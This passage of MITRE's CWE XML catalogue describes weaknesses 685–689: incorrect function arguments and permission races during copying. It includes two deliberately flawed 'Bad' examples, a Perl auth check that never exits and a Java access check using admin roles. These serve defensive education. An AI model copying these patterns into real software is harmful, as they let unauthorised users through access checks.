      <Weakness ID="685" Name="Function Call With Incorrect Number of Arguments" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product calls a function, procedure, or routine, but the caller specifies too many arguments, or too few arguments, which may lead to undefined behavior and resultant weaknesses.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="628" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Undetermined"/>
            <Language Name="Perl" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>This problem typically occurs when the programmer makes a typo, or copy and paste errors.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Quality Degradation</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method>
               <Method>Other</Method>
               <Description>While this weakness might be caught by the compiler in some languages, it can occur more frequently in cases in which the called function accepts variable numbers of arguments, such as format strings in C. It also can occur in languages or environments that do not require that functions always be called with the correct number of arguments, such as Perl.</Description>
            </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Testing</Phase>
               <Description>Because this function call often produces incorrect behavior it will usually be detected during testing or normal operation of the product. During testing exercise all possible control paths will typically expose this weakness except in rare cases when the incorrect function call accidentally produces the correct results or if the provided argument type is very similar to the expected argument type.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP1</Entry_ID>
               <Entry_Name>Glitch in computation</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>EXP37-C</Entry_ID>
               <Entry_Name>Call functions with the correct number and type of arguments</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>FIO47-C</Entry_ID>
               <Entry_Name>Use valid format strings</Entry_Name>
               <Mapping_Fit>Imprecise</Mapping_Fit>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Content Team</Submission_Name>
				<Submission_Organization>MITRE</Submission_Organization>
                <Submission_Date>2008-04-11</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Detection_Factors, Relationships, Other_Notes, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Other_Notes, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Detection_Factors</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="686" Name="Function Call With Incorrect Argument Type" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product calls a function, procedure, or routine, but the caller specifies an argument that is the wrong data type, which may lead to resultant weaknesses.</Description>
         <Extended_Description>This weakness is most likely to occur in loosely typed languages, or in strongly typed languages in which the types of variable arguments cannot be enforced at compilation time, or where there is implicit casting.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="628" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Quality Degradation</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Testing</Phase>
               <Description>Because this function call often produces incorrect behavior it will usually be detected during testing or normal operation of the product. During testing exercise all possible control paths will typically expose this weakness except in rare cases when the incorrect function call accidentally produces the correct results or if the provided argument type is very similar to the expected argument type.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>EXP37-C</Entry_ID>
               <Entry_Name>Call functions with the correct number and type of arguments</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>FIO47-C</Entry_ID>
               <Entry_Name>Use valid format strings</Entry_Name>
               <Mapping_Fit>Imprecise</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>POS34-C</Entry_ID>
               <Entry_Name>Do not call putenv() with a pointer to an automatic variable as the argument</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>STR37-C</Entry_ID>
               <Entry_Name>Arguments to character handling functions must be representable as an unsigned char</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP1</Entry_ID>
               <Entry_Name>Glitch in computation</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Content Team</Submission_Name>
				<Submission_Organization>MITRE</Submission_Organization>
                <Submission_Date>2008-04-11</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Relationships, Other_Notes, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Other_Notes, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="687" Name="Function Call With Incorrectly Specified Argument Value" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product calls a function, procedure, or routine, but the caller specifies an argument that contains the wrong value, which may lead to resultant weaknesses.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="628" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Quality Degradation</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method>
               <Method>Manual Static Analysis</Method>
               <Description>This might require an understanding of intended program behavior or design to determine whether the value is incorrect.</Description>
            </Detection_Method>
         </Detection_Methods>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-63">
               <Intro_Text>This Perl code intends to record whether a user authenticated successfully or not, and to exit if the user fails to authenticate. However, when it calls ReportAuth(), the third argument is specified as 0 instead of 1, so it does not exit.</Intro_Text>
               <Example_Code Nature="Bad" Language="Perl">
                  <xhtml:div>sub ReportAuth {<xhtml:div style="margin-left:1em;">my ($username, $result, $fatal) = @_;<xhtml:br/>PrintLog("auth: username=%s, result=%d", $username, $result);<xhtml:br/>if (($result ne "success") &amp;&amp; $fatal) {<xhtml:div style="margin-left:1em;">die "Failed!\n";</xhtml:div>}</xhtml:div>}<xhtml:br/>
                     <xhtml:br/>sub PrivilegedFunc<xhtml:br/>{<xhtml:div style="margin-left:1em;">my $result = CheckAuth($username);<xhtml:br/>ReportAuth($username, $result, 0);<xhtml:br/>DoReallyImportantStuff();</xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>MEM04-C</Entry_ID>
               <Entry_Name>Do not perform zero length allocations</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP24</Entry_ID>
               <Entry_Name>Tainted input to command</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
            <Note Type="Relationship">When primary, this weakness is most likely to occur in rarely-tested code, since the wrong value can change the semantic meaning of the program's execution and lead to obviously-incorrect behavior. It can also be resultant from issues in which the program assigns the wrong value to a variable, and that variable is later used in a function call. In that sense, this issue could be argued as having chaining relationships with many implementation errors in CWE.</Note>
         </Notes>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Content Team</Submission_Name>
				<Submission_Organization>MITRE</Submission_Organization>
                <Submission_Date>2008-04-11</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Detection_Factors, Relationships, Other_Notes, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Other_Notes, Relationship_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Detection_Factors</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="688" Name="Function Call With Incorrect Variable or Reference as Argument" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product calls a function, procedure, or routine, but the caller specifies the wrong variable or reference as one of the arguments, which may lead to undefined behavior and resultant weaknesses.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="628" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Undetermined"/>
            <Language Name="Perl" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>This problem typically occurs when the programmer makes a typo, or copy and paste errors.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Quality Degradation</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method>
               <Method>Other</Method>
               <Description>While this weakness might be caught by the compiler in some languages, it can occur more frequently in cases in which the called function accepts variable numbers of arguments, such as format strings in C. It also can occur in loosely typed languages or environments. This might require an understanding of intended program behavior or design to determine whether the value is incorrect.</Description>
            </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Testing</Phase>
               <Description>Because this function call often produces incorrect behavior it will usually be detected during testing or normal operation of the product. During testing exercise all possible control paths will typically expose this weakness except in rare cases when the incorrect function call accidentally produces the correct results or if the provided argument type is very similar to the expected argument type.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-64">
               <Intro_Text>In the following Java snippet, the accessGranted() method is accidentally called with the static ADMIN_ROLES array rather than the user roles.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>private static final String[] ADMIN_ROLES = ...;<xhtml:br/>public boolean void accessGranted(String resource, String user) {<xhtml:div style="margin-left:1em;">String[] userRoles = getUserRoles(user);<xhtml:br/>return accessGranted(resource, ADMIN_ROLES);</xhtml:div>}<xhtml:br/>
                     <xhtml:br/>private boolean void accessGranted(String resource, String[] userRoles) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>
                           <xhtml:i>// grant or deny access based on user roles</xhtml:i>
                           <xhtml:br/>...</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2005-2548</Reference>
               <Description>Kernel code specifies the wrong variable in first argument, leading to resultant NULL pointer dereference.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2548</Link>
            </Observed_Example>
         </Observed_Examples>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Content Team</Submission_Name>
				<Submission_Organization>MITRE</Submission_Organization>
                <Submission_Date>2008-04-11</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Sean Eidemiller</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>added/updated demonstrative examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Detection_Factors, Relationships, Other_Notes, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Other_Notes, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Detection_Factors</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="689" Name="Permission Race Condition During Resource Copy" Abstraction="Compound" Structure="Composite" Status="Draft">
         <Description>The product, while copying or cloning a resource, does not set the resource's permissions or access control until the copy is complete, leaving the resource exposed to other spheres while the copy is taking place.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="362" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="Requires" CWE_ID="362" View_ID="1000"/>
            <Related_Weakness Nature="Requires" CWE_ID="732" View_ID="1000"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Undetermined"/>
            <Language Name="Perl" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>
                  <xhtml:p>Common examples occur in file archive extraction, in which the product begins the extraction with insecure default permissions, then only sets the final permissions (as specified in the archive) once the copy is complete. The larger the archive, the larger the timing window for the race condition.</xhtml:p>
                  <xhtml:p>This weakness has also occurred in some operating system utilities that perform copies of deeply nested directories containing a large number of files.</xhtml:p>
                  <xhtml:p>This weakness can occur in any type of functionality that involves copying objects or resources in a multi-user environment, including at the application level. For example, a document management system might allow a user to copy a private document, but if it does not set the new copy to be private as soon as the copy begins, then other users might be able to view the document while the copy is still taking place.</xhtml:p>
               </Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Impact>Read Application Data</Impact>
               <Impact>Modify Application Data</Impact>
            </Consequence>
         </Common_Consequences>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2002-0760</Reference>
               <Description>Archive extractor decompresses files with world-readable permissions, then later sets permissions to what the archive specified.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0760</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2174</Reference>
               <Description>Product inserts a new object into database before setting the object's permissions, introducing a race condition.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2174</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-5214</Reference>
               <Description>Error file has weak permissions before a chmod is performed.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-5214</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2475</Reference>
               <Description>Archive permissions issue using hard link.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2475</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0265</Reference>
               <Description>Database product creates files world-writable before initializing the setuid bits, leading to modification of executables.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0265</Link>
            </Observed_Example>
         </Observed_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="26"/>
            <Related_Attack_Pattern CAPEC_ID="27"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-62" Section="Chapter 9, &#34;Permission Races&#34;, Page 533"/>
         </References>
         <Notes>
            <Note Type="Research Gap">Under-studied. It seems likely that this weakness could occur in any situation in which a complex or large copy operation occurs, when the resource can be made available to other spheres as soon as it is created, but before its initialization is complete.</Note>
         </Notes>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Content Team</Submission_Name>
				<Submission_Organization>MITRE</Submission_Organization>
